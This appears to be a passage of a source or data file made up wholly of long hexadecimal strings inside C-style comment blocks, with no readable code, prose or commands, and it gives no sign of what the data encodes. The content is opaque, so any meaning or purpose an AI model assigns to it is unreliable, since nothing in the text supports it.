adc68872b87e703d4fc99c25b83f34b92844a511de65267a01397a87864bc1d125294c6a9fe3dd4ab8c8abbf0d3c52c83f64537b31f9dbfe132a12fdd937a62cfa6e64c8ea9e1835cf36bf4*/
/*79fcc69e953e8890af0495950bc6ace07572033f35a40e1f98095effacea8f54c1a1be1315631728eeaaec808526e4ff9892caa2f59c5c4d548345c3fbc0ae41b40284372aa5839fbfd64ad1bdc0acd0ec2f3a12d48df40240fc7452ee3fdbe3a33e9993cd6af5b7c82830db2423aab21810fb0bab496f01bef4da20785572bd2e5b80626803245662ee3f97552e5a9987697bde4b647af65691326e60709ed73c18718c4abde4790b4208ee8b0c44d808fa3439bf9ad6a1a034ee41e27975f02d71b476f48ad5b244d0ff839f3a4f57bf9caf2b1adf8fb8ecea75c6257eb345c656c299aaa5b97bd4f32586ac7fc0beb426a2763344f669b4b44d32993031ec1e01ab982f65ccc99698a1bdd21889871dc6c0f4f281aecfeb6cb9e6a06f9a93b184b30511adeace5cdc800a8e565bb257bbb365e23ad6f7bf9f61a0186b42df35095cd01bfea6b0e61519c663e8d327778912dfc80bb28e69bf858c10e29e40e7433248736fd0a96c813cb5fc50b27e2a489f70cda7c9c194fc3715771a4765cf73b088ad68f3c13892637fee0336391583636b8dd3df66844dadffe75494d4452e9567b42f5f3113be31ddc1f539ba23c7a25387442173e6e38fdc5f2f20c633ef50e2b9e032523bcf826322e5f78b93675fbca781ade2e567c1b978fbeb9923184a5d7f5a60061e6d75ab683fa11c56d84b63738d2d696a505d289a873e191557f64a07207a3c142090dc77b5f144b7451d89fe3aa1970f17acb4799cae0dd3f515a8367e0859bc4fc6df28a0cd4b6e5c1be6d264546abac88a1c23daae295e0b4ad19da5ebf2c5d864feb7aca26165dce2e908244c6e3d18dbf218f382f4be48129e2a116bd97acf0a0ce28d4d81d964aeb68b10e05e64c39f2664e461372aee8bf5dffe1f003cb1f2dac3ccba05ec7e44f199d7e9b57b8a5a2943114ecfcd7e081e41daf75cd4128beebdbc89a6eef31ae6675b458508431633aebe0e3485b6d32c089ab803e365d15cdc8083d9ea2131a7750621d8f342aba27182b061858be3ca6b5be4590f75f67c383bc5c4c4ab87bddb1b4f71d55ca573463822f521ede6eb4dbc63e223fe20591882e48c6b5165063765e55a977bf63637e16a0e8b8fa30a03c67eb73e4d65b529e90e6d9a86f54d7b9e1625adc6e7c7d2be408d8da9201b91229fb2d4fea6e574a7b174568c8910267570c4dbb7cd74b5fd33cd66ef366b0040b2a0392ef5325a4a33118ff811e3a66b33a290e898cc2fd64177104d0fa78db5fb3ffdef722fa828ac8ec9162834c3282b4d5da83e5e8e9549204591a1e0a0c1461b68c510d6adbc1df484e3c16aa7b2c795b9b87d3b999103be037aa1738afd683b574319f930b09ed64e3b185f2e89327f9b961d093750b2fe60340e86abf8301fe653c469f1feee5a6419f6267813b2ca9039776e88197f5b3b15a31a278b21994f303a2129aeb9d3e66628fe106621198a0763e357a167af6cc564ad1ae5ba2f1a7812e2ce0f018d30d9e7a445deed55bda93d756a8c2165bdd97b4807139aa7e452482529ba69552e4a9443f5b90d4f3737a9800f66242688213e74419b5513eac25850c33073cb3d932508f51bd3cbeb00aa3d114658c8af2c045e893ba092262fc55e8f51dcd63dcea243452ae727b1759508d85cc9c67c6bfac8d94e70250a03334429e31b3befa584e1cb1a6c5ae0895574b88af8461402380ad621eada98654bd4dc5033f46e729402dc1d8a8be47cae4b2056fca600d15f06ae289be2ec86727d72cc0ba1800cf55aa92f5df8d54a1335cb26382789baf0a8e407d68a169e6bc081781a6aaf473ad3d919f9dfd228e6fd06ed7b040de6940185d0e4f77cfd8de42f42f81c67dc21980b904a2a6b7cc78f971baadee8e1f5bb7f13ca7764fc0465f0f72d506aeb0884fbe8be9283be10a3ac9a937ac8660f9995d7406e9e4f5a56655eee4252efe68f25cd507f5d879b1b3e5dbfd8053a862733cf6583e0519f86d37e59f95ad68a0a73835bdc2db2d1ec4bd9abca556135b546fd3faefafa6c244c379d755ec67ba03debbf0b9e2ba5d006ca620d35c0c32e0410cb892de160f0788f8fa029d070dd72b438d0864088de6492d1a1557fa9b8a792e92762c09c06cbeb1ee684ad0d6e6519128a9f5b5a50b03f49ea98b384d08edecbbead1bf5d6efa0b94fc48992087b9ece400b551805ac30284e89e9939ff2970aa159e05f50a6f40933bdf21ec25fd8130f48623d7990fc3a8ff9232ed3c667f854de897a324738bf20d6cd98844b6884c60e4ecba1e744054768c004e22e9c13e3cc35c79781b5fc73d4073a07b5265c6a7cc698f2d62c5592a65016bf86cfe4d180296e5515e395c6836f2fcbd41d0c6a77bacb6a95dbeddbff1e43c85a5cca59e2b19e566aa1514f85b3181fd891f619cd86531971d24cc68a590b0fb7f502264bf0fbf7d812afc8bff1340cfeef761bd0e3970c049eb0b80697f78c47ad203492bbd48b5d8b6362de5344611c18b57be2bb7c38b181d5322a318ddba19c0c26317abfebb5d26cbad620eb17f0a464e5df842ba887983b86bee089569f5863b566273888bdea2465fc9f82f717012d52c55c9b81f7e359fd3b0228ec2772f6b462925e302964c8451d4e485c24e7a3dc02e6fb5b959bf3b731db3d7e2199a25bf91e8e634106cb73473bec948dca970cbeb9ad9c11cdc47de128e017788a6ee1741d348b968db5911e047956493a54ec1cd2505b5d7ec36b0ccb94f9c7e3a6b895d5d9251b3d977b2277bb5b3d77010a25c078507740901802a08764c7ccd404603462314f72c0b8*/
/*e239ceb95e90e56de63384f7a5a9b9b86e2e63817dd1df25ee775087ac7ed4f59e60bd1fa109b4f990c6149a9b752d1c730d4d74084de330b3f0145e25d18e0d0a939ade51592a5dfd1cb1e8b53a4a6df5e03dc1981a9a10bb8baff72aa1bc556e9548716bb5ec692de8bdd54f1e2eaa3ac10a97be3f8875d4dcff712d297c53dffd208f8c05a73d40626806729ed43a6a02b83ae77cea407cf8b0e31d5a7d4bd63bbd2f688dc026bcdd500bcf3750990df5a9b3869d4f0977f32dbaf15d237570a4ffe451664ec96d026a92330d7019feedebb4bce5ec949994b481713f4aabc22a8eaf5c7ae6dfec78982bbb425fcddfacd9eb9790d96e653bb6360c986df919006ad2000d561510116e4834a0350f2ef569a2cd93db81b6a94d2620cc013f17c04832a3d987d73bb766df0871a230c5f1d4326fb8d59b042786ac41169434edb8f4078360cb3fb21af80710d1ab109f6d9fb356c55315bb8567818cd8e16583c7399f6c92379334fe365f2ed7b81676fe9bdc7c4942bc9fe1671adebc4c22cd0941cb7c5ecf3eff2541d676293cbf438bdde4b9e87668c555e7383c399c4566c2ef4f7ea013aa651de2619b2ddf6073de8ed93aea899611908175c3299e73b14d50c61923ada253f0ab93511920d4ff8f70c7db7667ee69ccfb064477cb5a9e88bfee2311af24bd0fa80e6ed44be169558cd7469f61d8fb7bed268e72cbb55b36941632df73b1521bfb1121b3cfd40354742fb9bf64d776ec220e6475ae7ba9f32edab10c4b41b90706330ee32a6b563a8314710c6172de30e06a6b6096ee1c63cedd5cad5fb97adf725e11793c214b89227878d47f2e57e23dd23a6d746a68d12fbd94eb5a3e64ab2e60a2a0d1e9502f5c31896299586ca08c7df64f528f765629751f288726ac2ebe41aa4a02fa3d921a059534a1746a3bcfbaceb5041666957714a50921bd9d49bbb64e69110459ebc04622380c8bbfb67c4b2ed55ba4af1e9bd3977903e3df9b0825104157bd4ee1ace60f31a8a004885ef5e48ff4e5a9277319a9a25aa91582b893fa85e5d91cfd3d826279d3f6d552fbd926c7335c1570350409e9e8d9c45d27329ba0cb2a92276931f99afcca9b44b71ff9099f15ba38bbe00e8e7f19e2037d1b1bf3f51c0ee12a65c530ea85bdc5cd4fc0e54d6a5fa1f73ef5aad7c598eaeefa4d26905ceb2f4a0a4736ce7ede8ef424dfa932a22ac96421b77e735417e38fd46177cb19812981de2b3d7a1a39977f3202bdeea5d09f67f8f699644530f739ecf5767491464539367360e8fa149cbe0c5b1a3fe193a63dc451b3bc2a9a55bdbbf2b5ef6f935692d7fa67bccd58a2e8589f7f7a607ad817fa4218f1a2545713301baf8f15b5fb95caf5e211fbe6ab26691e9c400c7780506c36683c014c2864ffd636d52f8396b356f289a721d46e36bb930e8cef4701051ea8147e7bf8f744eb32f84b63baf35a8b423b89c53e4eae467cd59878e6b58d3aacfaf88a872ffd5d0c0f6db3eeb712f3780f720e123521a95d0e2849867e43d9ac385b7b93f9149a67c60d26563a58ae9aa882ad9f9cf4eb3d50ae75e8ac56d316fa0b5f2b9e94419a7e3906b5ecc582471952ef747cc2a8f54044f39d2b872e93b9e7cd6acd221d94603e0fbf4075e0ead65d8465a4e9fc8bb57fd94b90a6c33ec13d4443a4821960778acba918959f058879b69f71b87df479eecef9bb5ad91f030064e63781b6531f3b6b3c3358caa0a529a2603f538ec53a855ded53cb1833faa60c92a1e817b375377b852a4b484168ebf654551b70ff0f6655669090d03cf3a6dfa54becffe4310f300e72f8c6b67a62c5c87e98787beb66fd5c8d96870b139cfb3c5c0c425c31bbb8764383cdf9584269aa275ecdf7193e32aa663c5b30bbb7d7c6a44c1dfb6024f2d033102a1a584ffdce4e81dbcad243bcb888ccba0fa5d2e46077401a67372dda7abb86c2233b32333041692d0278710d4932e1e61dc58272c9f82d06824e0e254d84b268bbedbe664c0aecfddc28c1ebf2262ac531c22716dcb63cc8c9a1b016bdefe2aa8596f299a162419631fa13be368311726e7d54724b2ee58888a15b43478a879ab297b57fb6a4443720c3e9393cd43b054794558ad145db02818ac453c87c178be617c12a03f28dab846255b4754d7d5cd3804e7339e03a03821df2341c2534e6d1eaaea698569ac5b4501b5227dc779f2d696820fbf4e5ab82c88555b9fe757194e197892a3aa1888aaf7606b33eefc9a8508b6e13d9065f3f511f5fb975384f9a6cd2c7889a515a45cfcbd4dc2a1c8ad5d0b7692bc897c5dd3c45415fd9a2873a54bd8589c90db7292a51a89e8ac2752c0db687ea94b1edd6d51aebfb47262f3ac016b5dadb360d364b0f20b85ca2c92caef4e367d0e673aac8ce2f2a293b3a5ba5d3b89bb1e4a03baba0a5b4bddf99003d9e1282be58c03a90b3d7468d8822e8fdf8c7182e07ee1ceea20f70ca7f849f0a684f663b6496c7826cb8e21387f5d91c2e1ea9f5cc746ce12993712e20104fa93c06192dd0b142d9208cec852526de114d90b7d3a4df23845b3fbe3a6bc028f01a8379c7e648a27fbf0fcf7c1bf468487ea35dbddcec79be72f12123045dc506808c58e2ac8cb4d3194957df389d406f17ad04505083a8e7e05110ecef6bba6a38cc851c924d42c446af8b105c51863f81b14b81df45b9310e8ce91d0c750bdc3d14ddf9fa6c2b05efdb3497c79e85cfe2b85e836a4b8f1023c2883435f7610e242c5555f6ee06843a3c45bcae0b8a79dc22ff676652383c9203b7b240732338eae31129f97b636208fb*/
/*1b445e7d3d98fdcd7d7086131add8689b98df5a3f03f24803899cd440d986ad58165e626004df902bf71e040b9fee97fb672d3a85f5fcfb95fb3f35a260009b5305f1ebd9f1d4c9bc5454b681397e6096e49f13f559cdf984a08fa57b12912daa07e8c583f7c0572ec5c2c7a260df891762668ec7831926d500c3adb70170e77f9113051ef0409c6fc093afaddc7d4898e78e98f67fdae328e00d85199a152ba939b11e766cf247375f015db34f858dc05c1078984fb2e98aff0d349663b8d23c2ee493b1a8b292d1b62e5822366a49359b0f38405db180e2a8cb411b3808bf8beef1bd3a61a2e0aadfb73e3fba0b0c54b9a0aebe446fcf3fbe1dba6a1364d8b3da33fbba49f5e8035abbedc643c87514d8fc9843d8a19fa330ed0b3b79c613241c4b7ca1b0b544c6aba3c1d94d35d2faf4d60b35ebdbf6a042cb0ecc699e0d90441d07443f9d6cd76418fdc79e6f9eaad087324f61ca68468ab2aeb3d9bf8eacf2e987cd6e6f353d89a4dec7c261e2b09c7f2c3a452b0ecf4ec6776b1a1c49f7f32ddb814b72aaacdb66edcb8373bee1c16efda798551229cbed8e79759a00cf80c8f4ced0e41023ee59ade9e0adff0936abe8c66093ec768c6ed2d8f390925140f9fbd1127600b8c1661029ab0c6adf8d2601157df2c5f84f4c47818fcf9c3d4e82ae7677b7f73e6a246cb8c0daf48786ecbdb64a0da205d964ea6df7dbc572a95f609568925c23d3c73de27eee3df520cc6eb7a37af1524a91ffac342e5bf9b31ef21ad3496619e5539f22efd0a9c689ce090d38f743b3faddd92112243edb308eb36821f6aa04f7d1256adc3caa9d3d150c22799966a8409e587a467d37341ba97ebf7543100713e11fe28d6088e8eb981f3dbc09fe1f330ee900e00f5bd8c41431d3926d3829eced50c6d3b422de5069406a6e1cba529cb0efe930fcaef7c5aca2942a860fea297b343d6012202c89c8a24c1d5ebf472b02e1552e6552b8c666b5fde1f326496d375db91b6d3f82d84740bc08d9a4bcd9b6d2915f7a0c5805e7bcea6fddd2de485c653db058010f7a7c4a828d18e819618cc5f614d36a551f4b38f0d351429a567f5739603097f9f09f8f04f8de06b3c788fcf20ae4a2a0ae319759ec5a93cdbef1b86edefa6686e3bb532f5434104feb14d4f18941602b80787cb9aee92c43b6769d7410b26e1892091e6236a15fe6ef1d9f179e5f8f62d3646355c5694eafc3f8103def70577483fd518049c36eadb5a7a7b57ae707fdea1883ea8482a227e967185c207580eee5a93372c292e9511ddf506911fd24e09941fd37bd783ce43c1c7afe36ee6172e455c4c1da6ea5124bf5d648089e5ee39bbe26b99a5f0b09fa73fc9a35c5cbddf6052521499819a78ad6ee37d2b321531aac5f2fedc0c6e882b8f3865b744cbc30ae46da33e2b11bf46c050e51e1cae0197b547b211b5e3a4a6141f65c6de53de920fb17e35b8ad10224a1880681d9cfb8aa2c022a2967d31416efa18d138b397c78c870a002dca38d34e6737a4224fca70042737b7a0b00918c34d39bccf86c20502b24dc76d8803a27dc05b3d28c57ff64f50d0fc361e79e16b896ba9999e225ec63f79e549280e7be3d310a76a22bba1753b3e68e70ad9ca0bc224470db4df64bd2b8bd3fa2c6694043b4adcb399885aef9f4d241d76fbf58214794fe6053c6e95a4524af1d8f613e251945a6b4949d5e39bcb2995a1f5eec62fb8e5b7ad604c55e17868fc48a9d6ae9a3ce29acfeeb30f34f84e1ff4d6b6565ab8521aa6cd0f4928a01e98d20c6526f10cd3f92bed15a4d330eb0ae0c4467d4f45ac367c46a244cb91641bc1f0b7a6f6236a16d076a038e8fa8c7c36acfb7e2900536e6da8f2f869894f59e8b7058f92bc895ce196f6eaf406ea157ceeccb020ff6f4efe063d18984f1b0be882214586937aa47811bee3d1570b67b4fc56c8bbb8ece97c67eb456787671d39b73e2ad151620261e84c2eaa6be125e27207cb3188410891000fba44a5c27ca0da873ce2660dd3325fa0111c91a39c6c9fdc354e87223803a2270162ed900cea799081b4b6fa59210db86e4d66c50c15adcfb2f3f8b1121d409126d5efbbbb29a78b7b816e950b4d61db1982aeaaa539baf8f5a1100a13af67512a3c44a59434ea7cbfefa99edf5af3e95565449aa4882c3f0daf21b5f38891ba12eb88daa9349e404c8dd008900696e4e9aa38424b173f0723242855c49d7adb206d7472a36772316623c9c003f10d41000a01b77865c4e983932417ac2458f5e3b319bd06e342f7087844aa18b7935b5ed4534317b4394c383084d56e43b0c4d04424084a4b67a2ba408afe1c3f26bd3de6906a2a01c6c69b7a6d6c15a5f51588a07ca0dfce726ac1680c0494f53418667e7fa9975847d1f9a1ece1e766c98ea5cbaead334f84d8ecf7b9600fa19347e5e3fddf5790e59992e6f6f0ee1593719f6aae6213d9374b9248bde942be3a7e5c0af26473a454efeadf9a258b86481c34d6b3b2014120d8ffb66d505806e6ca29a95be076654170121446253745ec3f9da820914031f3dc0f4f223620c284ee7795d781f4a19a9318b2c1942b4f9fb2385fa78b1d30b9e59abb5ccccba1407ebdfea88bf52312a29060c523391861447e6ed77895acd562533f936c565bd3dcd07fdb57f6bf4cb210ab2aef45e6ae9753fddba869967ab328288a0faa59c4b94d3ff6bfd4659ca781960b6f9bc95240eaa491d57b9b02ecebfc92733675e5e2bd65b8c8ded73de0546263c3da6bd81dac3677a17c17c90f1cde971f4c5d9f05f29c69488ea721e93b7c38213128*/
/*f75235313af48ae8d631606e77dce5c5cfc4c132ce77a68b110ccbbd2e4ad3bf32b482246f4edb1b6db6eff73cebb3d7423fa04b51bbb9c6abf341a484fdaf4b15a6f7cbf16aaba1a4e8b755dc3b68f2e4029f550ad27bd7d026d852e3c549120689b6bcf9b1d7fb45527984b140cd05979a46950bb9b4ff83b83e42774553d8c1e66bca76e78c2d071842e7044148f88655d3028e09aff8b27fee46ac469369bce95ca58bbf905139ff228275c6fc281352ce1805fa7e09a77a249093a785737120c2c9bdcd00b905f0fb9311b685b605f6e979643e318f0223dec4277f54ef331bf8db0131531f8ef7b8f306ce73154f71b28ab8fdf92e3009fcd569fc992a6d31c5ead8cc41e5c92de782ef3bc57849a0a9bb03838c71553b49b84a03cb4bd47b128b142b3eacee6b5eb73c8b702719171215267ae0b05276a496e6473d1173aeffd1fab93470eb3f785cf84dd6cb16ef9b17e7425050f7bc648bfebf034e20128086213870245578b8f280996f5bbb3f5b5fe24f81de660644208198f1a5444fb15ed9749f8338e530011b841fa8e3f44fa4ea56d5b38ec6cab604e139ae0643e374530a2f5e91de3736ba799f5ab479c0296b04adff97c1a1ed3c586769a6acc756811539c48099ceb369fc71cb8416477c10a61f4ae7d7dd8a82357ede4ceb2036f68ad5f3025d2496915e7450f828b5361acbd00d3c583b314cf4be611d5889f5375531badf7e98585a63a0e887eec245def6bd67263c8ea224328f5525ea5ba33f2786a85ccf208c9080b1c499353c6019011c6757e59c592f23dc8b399afb83a4b8e09e4e4e2b7328cd45c4e4fbea2400651a0683c71090877da1e82b265650bbb95f89b15ec289fc346b1663f75aa94b87718053fe2ef3439f85131797add54a866071edffd21fec4444ada1478d5d6109bf547c2c03f731d5eb8a27d964f1e9bc791782dfff74638fe605e2a8395f584bfa456a7ca0e222c3ddcb566a7647cbdcc9f262921cf6f3ee3168e2ff487872b96667cbf5bef330c604f6e7880b4e3f602702c4cee010b6bf1f8992aac43165d491e06ac9b93b59c335f6ecdd99d6491b9db9f26661854175b509ea79b6618fd535fcb393e4b6f0988e6bacbe01555227af56738bebe19151defa1afb4451c17223b2400c428096c5833d69a8c60d2091cb7a4176a87f80f6647e0be1798762eaf79b33eea87b243d578d4e0121522bdda67d94c0ead1a59d0c3509a88f0a4e906ddf27701298c92c1b112b0d3a7c8ddb7a85863c1ea6262828cd572c9e15254cf6eddd89660c89b25d2074a5eeefb767f52d30a3851febf3d646f8874d326a906346866352a11788d2ce49a46c9b40d9b55dbc1450d636aaccfe2c745342a2095e81d8615e359c3e219481524b860a2a42b66ce8153b1fddcd7b3277539eb67fd782de2b31987bf70ff4087df4bcc7ebcaf792b067dea79095088138af58735acc4f845ac72f1d3d2f544a6fa85bb8e7b578fbde1bbd040216c2a84ad5e2512a6a6e36b5cebd1ce60174222ce9f88b9d2d80e07c2a431aacc053d7569490b210fdcecdd2e788ed9f62a83cd4b1c23042ab1c36da85733131c1fd81c0f33f2dc895e950846e49514aedbe7890df3c2029b464c3e43b6947a8db9883be158974adeb8ea73b775373beb9f087c0f71b23232f122e66d2d653bbab377712d75cb7e7aaeab5129e8fc9368763763cf025d0abcf5cfa1adae3ddf83d1075558d7ab5decbc058e998f25e405f036f0861dd5d4289ebdb832f80690a44f38ae8a93d0cda33688c215b1018dc907a7612860968fe169d5c5512aae30de4751196ad5c2531aa491525d7381f724ffd52a71b8364cc19d886deac55ff4f59a97a33b602f97943ae214878524beb92fac7f19aafcd59b8ebe274153f16d257d4eb4978dd47200cf2717d35b2e884db3312fb096ef40978ec575d99a3c329e855eac08a241563a0bd689cc17b5769f8ff02517188c061e9e1840b4329d906603dd91b631ee76704edc285b2bd7968d42cab8871bb535dd2c625b488b4da95187a02d539124fde7aa392816b7a93ee821093820b66b19467834d59f025eba854467badf1dccd77f323d1ef0b3244769157cd6e2e92575b1102184fa841d625472bfd246466d35f96b30cc9964a69fec973b35768f3bd5003726f2b9c562441a53a40a1f75fe09517cf77cc67e398f5d49762b359cd3c1804f53d60bb12bedf5199058f5df42028c50d9eb990585d434b64e0c9d71a5654a141f8481f592a5471db55289e954aaf21040ef138e56553dbe0552a1e86972510e6fa4726a423dcda40b49f292eea8cb35845d565adc6e31f7c8dd47fa245c4f98d7173401cd99e7c72e8fe711658ff31dd16ccad92c3caef0400651d274eab679fe24e229ddfef0c32ff43667f41f327dff5cc361cfadf497c43844a2354e40232cc1548a447be8c9337cd75fce86815d91b8893feeac6ec58c31274b01c4fb05397e876448f2f457d1f815705150fa715006897e689ad733a24f2b1515196fcfc93a1df8e7553c688a999f24e4e4182b6fef9529178c29ba68ee8ef2f8d0f5b148af59dd23c8a4625ec0729812c524ccc76892ddb25b1a41ac527290b26e7ab09fafe19a6fab62add39f9d37574b987e38c1545c28df821f93206fc991ad215598063ccfbe6a0f15ad15402914413c4357c6e35d8cb3aca875c6049839948e8ac65762769e8eaa6ae616b7ef7d4813bd2df869a54edb44ee98effb36f13631f76b3322fd4af712cca0d378350e13f822b43fc33c84c4f127b1d56419a05f3fb687537effbb24272ae*/
/*a20b41db425bc2a2b332f9a96f4983f9ab9dd01bda70d5291c3199d8e0801046bb187847cf4c08491ceb1dd206c69cbabf73d5651370e8662d5799a18b3eeb13c0b26b78d3388b361c73470fabb80e4d41a3c82c9a1806705f9ab33251017b10fe0af25995fb572aa2bc3ee31772c8b41dd3573221d709fe4571e858b2e02ee02beb3d28e5d6ab33e089b0058485f9c17da757a8ece02df01613a3e4786481e80dc50dea857d889b5940e886c99a13793e5184ac20f22591bcd87092614cb4e346e6ca92d5c83b36cbbe0a1be45a6835484864207b920157d255b52c427e46d1a90ed2b268599725bb3566500ccd23e6dbbb8b34e76a9d55de0bf8fd12e3dafcc1ba91ae0ae2ad4226d3cad54c2edfc311266eb80d6f4f232ff72c814076829a40ed4bac92d251217f2eb45574273b260f726f1043b28fd7173b66322049d6a8776a3b727da4e135a2dc83172e9ab1a4af22c128ae5d1d702a3e2819259a6638551d592b9e5946c737ab4f96d48fcbe755257cbde5e571cee5690a79fb0b834792a871de4d0f24df3099b1da013cdc7423ce002db20dd05780f131b166c18c4e1051ea327800a429c455ef607b4aeb55b85ec0bb6890c9d4d73e1926caafebcea69563f5f7357668df434e5a01a62b5a2d8f552faed27a81e4f6d4129b1007e9cd63debbd4c769e5deddc14af2393e15f5dfaff1279e7a746e8f7528fd1e7bdf828043924f85b61db55fdb422bb6db89154a2be3bc08b84165c8c656ce0d83accc1f158477fab74ddafe2b89344a319085b0ca567eb4a2981a6427791bfa50f1bccb7f314d04b7d273f00f6544de9f48139f6d6a4985a826a10c2faa5dbef4a120a47af02e242543ea020215bc6965415b1ea2769b4298b7de06f02aefcf15d676fcd90b610df607aedfd3beb3c7458f9490c322895c83dd776a3ad342e5069cad40b5b99d8d67c73d251256e0d9e4f6b3d63198be53b8529a1e0dbe9f48fa08a7be9dc499f8a2d852c9f93b3fc874601ed2dd611fdcd92a39bae5d28ab31d607b7d00e7a290093f8dcc46a2c3770515d52043e7a388a769ab1016adb6f3f25e11ffbc5f768ab3a76ed38fd5d7f2d3f20ec9c7f17741a95dab132c7561e2226abf27acc62accb899aa3270639fd6f90534d0fe8a0fda4d70333653efddca8bf37859112b8ae98c1883c585568b317fbc2c956e9f7008faced962907698a666af13dc7f6adf813a5c4a61dc3296ff46050301a93929b19285b17325750bba2de33fd130542f700da0555f35336b6131487b6c4b94168416b236d31c53904cf627e5d4afa9d1fb6feeb73f6230d4ca9b9bf93be4ab23eddc67dba13ebff9d645ab20e519f9af98aab4390c10a0da3d4b7e33441f0e691d532f5d8a2eb1acfd8a1e03c1df6c7c91af94b996fcc8153e20ba3057fd1ae0a669b946850d7134af38da35950e2e0e7b3c4b0b2044d107e5639820e92e1bb102408f66d9b7b16beb1e0e0dcad50c60fac8e733140f60905195d3d1d9e9743bbadf09383937b730ca340d05fc14e9105d62550df1fcbce2f11201516c7042675e454eb907f99a7995843f2221a303ab5a5a7bf0e0bcf713dd12c14886c00102f2ca19182975cea3136fb79826c9a6d136d78021ceda5374624b5435ba28b92ecdbf0a9abfcd4c6f1e4cbfe46e6b8df373e96a3952b4e49737d2934aeb5183528b8ba3d163aa2576a092bcd806a0c8ba04114efafcfed71b2bdb092c874d4ad528dd0df43e0526228555b94e3c8f9f37dd117ef5c72d49becad0e2e25cd10dae5efef66b6fb2117cb5452642e97b5e76d845423644ea5638d68a87ffb87f96d40a2a60a22ab9fb960ca17e013a5e05b81c6f142f5248ea1896ef288747061be0b304783a2458731e44e11259129550ce894016b70139495c5d2dc7424243efa8a00894989c62717d10e860d6a00477db6f6fc970a55661edb2dbf2c7e7991ab4be93b95ea55c4f45c0179559f38ecef1ccd07f27a8ed8cd374be179e31e8b4944a0970ba4afa1df8970d516610d0ee4963a01255c6b1dfa82ee1ac4af8a2ba3749577fac507839a909b81e2690f622f653df93b0375c76525f9ee941c6d86cc4e19012c07cb0f70bfe7ff9f6f1483f80bcd9f4d810fab631d0299a6d51fc78a0e727a226ac559203b9791121b385a9ab9387b6ae1d2da80b7b0074b710554d91260dced2a79137b43097a64a8a0db5936780cd68c08a470ef0101d97ace6058d8a387afea1f013e74d0e01a8feaae64fac14fda51eea570d1de48e67aa8def99d01f16c7788815f30ef7f8c634b8075a6782706ea152c6351df377b69872a5e31bf30f23a034562c2a390c79a633c9387f43f4efd1b128bc9cf15550b99b5b1d203177c74082effb58b31515c112cad1040e2daab8368743d394e31210c6a361c1fd9b325e9b9ee6e26dc4a44fa89458b70348ae8a3b713c24478d8a0485c53801bd6b273cd17cc6224eba55af41c503220ec1664a78bca7e43cb942bf85b5e829a30330fa4bb67d53a0ec16078b6b61f96010185b2a680e02b1394a8410ce3d8954b7adbcc321587f7594597b5cbc0fd20a8bea3af41c4ae6b248b9051a4d5d479466b82aefb9e0ad821aa8bbd785a62f461857468dbd7042200707c9e1d1bb1c2ed134233eda78fbf03c07758c3ac828fa729f7ed04de5e50bc3239f5f83e408f8c40d1c2783d850eb9ce38bf63cc47a69fdd5bf4f3390146f24966c05bd688cbe83a7a724f46fe86649aa2caf258de5d3466400e4502d1e658f417aa3adda2d66a81f08e30fe8dd40fbdef6eb67b3793f118256bcf9f323666c*/
/*fac7ba6ce6eaec77a9197938280455490952387cfd216956800f1102739ac54963cfdc25a5cbaf76e29899c3c1ed98a7df21f8e0cf4f6c39e1cb68ffbc3b1ac85f4a835fabc94ff4213cc0ee38ef132f9896481a37249fb6610ffeb87bdb8594e1472bbe4118ef8eb7040dd8d662be04eb94c0725d0db316bd7dbb9e7c9305cf552560ad34d68aa5f4d7f3b760bce14bfb2ed87d5265b2169a9420e7bbbea81a6db3c4ea369e8c6a10298e40fa6d81f5da7d62adc58f89e19c63e76bef9116700bcc255dd66f24b0bedd51e93eded4402fdfcaff76cc0e9b82185d46c4378605543e366e9586075e12a76194e179638be4cf63071e672321f24754b7f6ffa39d235a97a7a8dc055f033b3a25775481b9f01b053aa38e1e456f5fdc5712059106841d5e33135f5645af4daf9295bcc5d4263a5624d89af56b8a3c114906fe24ff1106b34a631da332cf359a1584be4b3b7ad180b483d15b0b8caa60663a2df391702cc1e8737de1b883bbf2d52e520b1d1b21d0db96eb43ce3064977486c4f868b0ba077000c86a171d7ffcc2d550942a0d1e25caea89d29617bd5efdb3a9848001f107e98f4b0485dd912525e63e30f70ef78a829f431efba7ab6daf0653d890ef71024dcf65f4d9cc8a1f4e5703fb2430df4f13d392e20d919757ed830764d098833ca21c84b0f69902b25a3c7364773ad6d111c369606747c4fa34db3bf40a334689196f17da7d93f7d1c3cc078c6032e28a261db66ec1d5f90a7ff44a7b221dcc73253bddd2ff686f1f36fab9d0196ebbe8f89b6ba25d4b0f155ed3f4505898bc62de9673a17ed7afc9eb9f1270487c01d710b42edf8e6ed17305f484f00e3353fb39d7a62a5efa760f124abddf5e7e03948a5cacb5a1a41a23146a607e85c7e72b7ef13c4fcea78172d9c4b5fe1bd4cd4e03a64ca92e0919123f30786999f471a14e45feb6baa64a5221487232fd7922bed67121201afaeeae2d81db4cb42877b574b4bf9e1ccea355aee8cfb3a04f7aa662512f8d5295fa913e4769c0c9a7f815d843665ba2d10ee6711f43e8f119747c7dc73b2182023052a6d93d684f9943d13dd0e094a15cb33d9972e657f0c095237a49cd8e2ec70a44ea259f718c628c1b4d17ea7695f3264ede4cfd64abc830fd4fcc4ef5009e0accd1be92fdf7834d60860a926220e7ef135918f2c189224d0091411e4f7f2c3cc5903a2b16917ad4fb01e7326694866350f95b93be3bfcf9a3658b4906fc432ac82ae8b2752f0299d24abd3b2e5877bc4fbe2a3ba9f8fad50449b429ab6b07fa89182117f559840004dfa818e81e9a160633ef117e3b1efba576268088b45a2f0a3f0fbf5c682392734731b156e6579f834c56ebfe30de48ccbc2c9b3aef7d5dba349d9b80d4a0bc834ab223be7137c0d41a4cce69ff1ccb65c95e9e9c0de65eb992204a62bee1806e2ffb61caac661481204e8f41ab4b23b81bcd6118cb8ea22ff08c011d3e67803b39c0035325c8ea404c9a1c55a85343c154fa46ae5cf0f05e85699970084b0cda3b9a2be38b4fc158a532969064e33740b09ba9cdb6460a118ec92fce4d72dfe78085a251abf27b1f7e295497a48aef11556d1f0abbf175f408c5bac464ac3e479dd89d934df8ec37fe5a86e27252741b7d619000f6feef549afa3d69bf2892b24f60ec43a6d73cf3bdf51e274d8272f03c3676c76db5290be4200e2f1b777bf1939a016e25446668c402df5420d940240da8e87db516f2087dfb399c0d6a1999ffb82c88571b8137dcd03bc4789d7e22b53098705f3b56f5f2cb3560a9001842e1617849545a3d343cc287ebdfe798f1dbe0841ef3d45a720dff2ab1f4adafae042944d4b07824be54816579d256b6a8a6cb007b7a338eef152502d1f036b006b02e200b2ad69bafb7a0420914dc3a2fdd6182b50b79119989c50f3ee1268f75d5b5eb888a2602529e3dc139a56dcf84435e6cf8e11252d7f63fb0e8ff73172f0dfab8d7b6d6cc0343b158e84b9813045386fd35703dc